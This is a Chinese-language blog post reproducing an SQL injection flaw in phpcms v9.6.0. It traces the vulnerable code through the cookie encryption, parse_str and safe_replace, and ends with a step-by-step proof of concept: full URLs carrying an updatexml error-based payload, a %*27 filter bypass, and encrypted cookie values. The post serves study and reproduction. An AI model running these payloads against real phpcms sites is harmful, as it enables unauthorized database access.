phpcmsv9sql注入漏洞[复现]

前言:

ubuntu19
php5.6+mysql
phpstorm+burpsuit
phpcmsv9.6.0(我下载的版本UTF8)

写在前面

太差劲了,啥都不会,然后POC都搞不懂,代码逻辑的理解能力差到抠脚,干啥啥不会……要善于使用debug,能解决大量的代码问题。菜的明明白白。然后这次复现的漏洞,我看了一些文章,有些大佬说这个漏洞鸡肋,思索了一下,无所谓鸡肋了,能有收获就好了,这个漏洞的逻辑性,我觉得也挺有意思的。

漏洞成因

由于代码对于cookie的过滤,以及sql过滤不当,使得我们可以插入sql报错语句,进行报错注入。

漏洞分析

之前的phpcms的路由分析,我已经分(chao)析(xi)得很详细了…..在我的另外一篇博客里,然后这里就直接看到漏洞代码
然后像phpcms这样的,面对对象的系统框架,在查看每一个类的方法是,都要先去看一下,这个类中定义的变量和构造方法
定位:phpcms/modules/attachment/attachements.php::swfupload_json()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private $att_db;
function __construct() {
pc_base::load_app_func('global');//加载global.func.php
$this->upload_url = pc_base::load_config('system','upload_url');//http://127.0.0.1/phpcms/uploadfile/
$this->upload_path = pc_base::load_config('system','upload_path');//PHPCMS_PATH.'uploadfile/'
$this->imgext = array('jpg','gif','png','bmp','jpeg');
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
//判断是否登录
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}
}
... ...
... ...
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');//第一次访问,所以这个值是空的
$att_arr_exist_tmp = explode('||', $att_arr_exist);//空的......
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) { //$att_arr_exist_tmp不存在,执行else语句
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}

关键代码:

1
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));

可以看到这里根据程序判断从$_SESSION[‘userid’]get_cookie(‘_userid’)sys_auth($_POST['userid_flash'],'DECODE'))获取userid。得到了正常的,可用的userid,才能进行下面的操作。

然后看向swfupload_json()这个函数,其中从用户输入的aid,src,filename三个变量中获取数据。存入数组$arr,像这样
$arry=array(‘aid’=>’xxx’,’src’=>’xxx’,’filename’=>’xxx’)
接着进行json_encode($arr),最后执行param::set_cookie(‘att_json’,$json_str);,我们可以跟进set_cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
public static function set_cookie($var, $value = '', $time = 0) {
$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
$var = pc_base::load_config('system','cookie_pre').$var;//CeFuT_att_json
$_COOKIE[$var] = $value;//$_COOKIE[CeFuT_att_json]=$json_str = json_encode($arr);
if (is_array($value)) {
foreach($value as $k=>$v) {
setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
} else {
setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
}

这段代码将创建cookie返回给用户,可以看到这里的sys_auth()函数,跟进看一下,会发现这里是一个加密函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
}
}

那也就是说在执行完swfupload_json()函数之后,我们可以获得CeFuT_att_json,这段经过phpcms内置的加密算法加密过的密文,其中有用户输入的信息,phpcms的加密算法,好像是那种比较难解的那种,获得这段密文是为第三步做打算。

最有意思的来了,真的很佩服把这个洞挖出来的作者,我反正是很欣赏
定位phpcms/modules/content/down.php::init()
根据路由,这是调用了content这个模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
defined('IN_PHPCMS') or exit('No permission resources.');
//模型缓存路径
define('CACHE_MODEL_PATH',CACHE_PATH.'caches_model'.DIRECTORY_SEPARATOR.'caches_data'.DIRECTORY_SEPARATOR);


class down {
private $db;
function __construct() {
$this->db = pc_base::load_model('content_model');
$this->init();
}

public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
parse_str($a_k);
var_dump(parse_str($a_k));
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
$allow_visitor = 1;
$MODEL = getcache('model','commons');
$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id));
$siteids = getcache('category_content','commons');
$siteid = $siteids[$catid];
$CATEGORYS = getcache('category_content_'.$siteid,'commons');

我们可以看到在函数init()中,$a_k是由用户输入的,然后我们可以输入数据,数据经过phpcms内置的解密算法,得到明文下的$a_k(不难发现,我们之前获取的密文,它的解密算法刚好也是),然后经过parse_str()的操作会得到$a_k里的变量。
关键代码:

1
$rs = $this->db->get_one(array('id'=>$id));

$id是一个注入点,再看看哪里有没有过滤的函数,在attachments.php中调用了这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* 安全过滤函数
*
* @param $string
* @return string
*/
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

我们本来是想打算构造$id=’and updatexml(1,concat(0x7e,user(),0x7e),1)#
由于这里的%27被过滤了,*也是被过滤了,所以我们构造%*27来绕过这个过滤。

POC

(1)最早的时候,我们说过得获取userid_flash才能绕过认证。
看到函数/phpcms/modues/wap/index.php,访问这个函数,获得

1
CeFuT_siteid=b9abm4BFwt24EU_pjcBx3v1hUvFF_v8BiE3Mv8Og

(2)获取密文CeFuT_att_json
payload:

1
2
3
4
5
?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&f=cookie&modelid=1&catid=1&

经过url加密后就是
?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3d%25*27+and+updatexml(1%2cconcat(1%2c(user()))%2c1)%23%26m%3d1%26f%3dcookie%26modelid%3d1%26catid%3d1%26
POST:userid_flash=b9abm4BFwt24EU_pjcBx3v1hUvFF_v8BiE3Mv8Og

获取密文:

1
CeFuT_att_json=d539pO1aNzvcSIma8JBD5LOxnutluUC2LKVABOKgNVjFm_JXUrrREEuNicRR4sqJgEoihvBC45SwrMnwSBdP3p0nr0qUOqDrPDkMKVWqUGYejPOr6YwvRRf3c0JbC4Rnwf_nkGeWhyLvAuYY6nV09T9gCArCA2F30qcfP9VQgIUL8IBeCHy7FvZZkQ

(3)访问phpcms/modules/content/down.php::init()

1
?m=content&c=down&a=init&a_k=d539pO1aNzvcSIma8JBD5LOxnutluUC2LKVABOKgNVjFm_JXUrrREEuNicRR4sqJgEoihvBC45SwrMnwSBdP3p0nr0qUOqDrPDkMKVWqUGYejPOr6YwvRRf3c0JbC4Rnwf_nkGeWhyLvAuYY6nV09T9gCArCA2F30qcfP9VQgIUL8IBeCHy7FvZZkQ

总结

今天复现的时候,有一个地方一直没懂,就是这个payload中的id是怎么传入程序中,然后自己debug了一下,就是不理解为啥要在id前,甚至每个变量名前加&,然后对照体会了一下,恍然大悟

还是要多学,而且时间觉得很紧,希望自己能够把时间合理使用,今天其实挺无奈的,没有理解&id…..然后浪费了很多时间,群里一个师傅教我怎么动态调试,debug熟练使用真的能很好的理解代码。

关于鸡肋这个问题,就是当管理员注销的时候,这个漏洞就无法使用。

因为当管理员注销后,我们之前造的cookei,也就随之过期了,然而我们又无法在管理员注销的情况下,再伪造cookie,cookie 不对,所以这个注入也就无效。

0%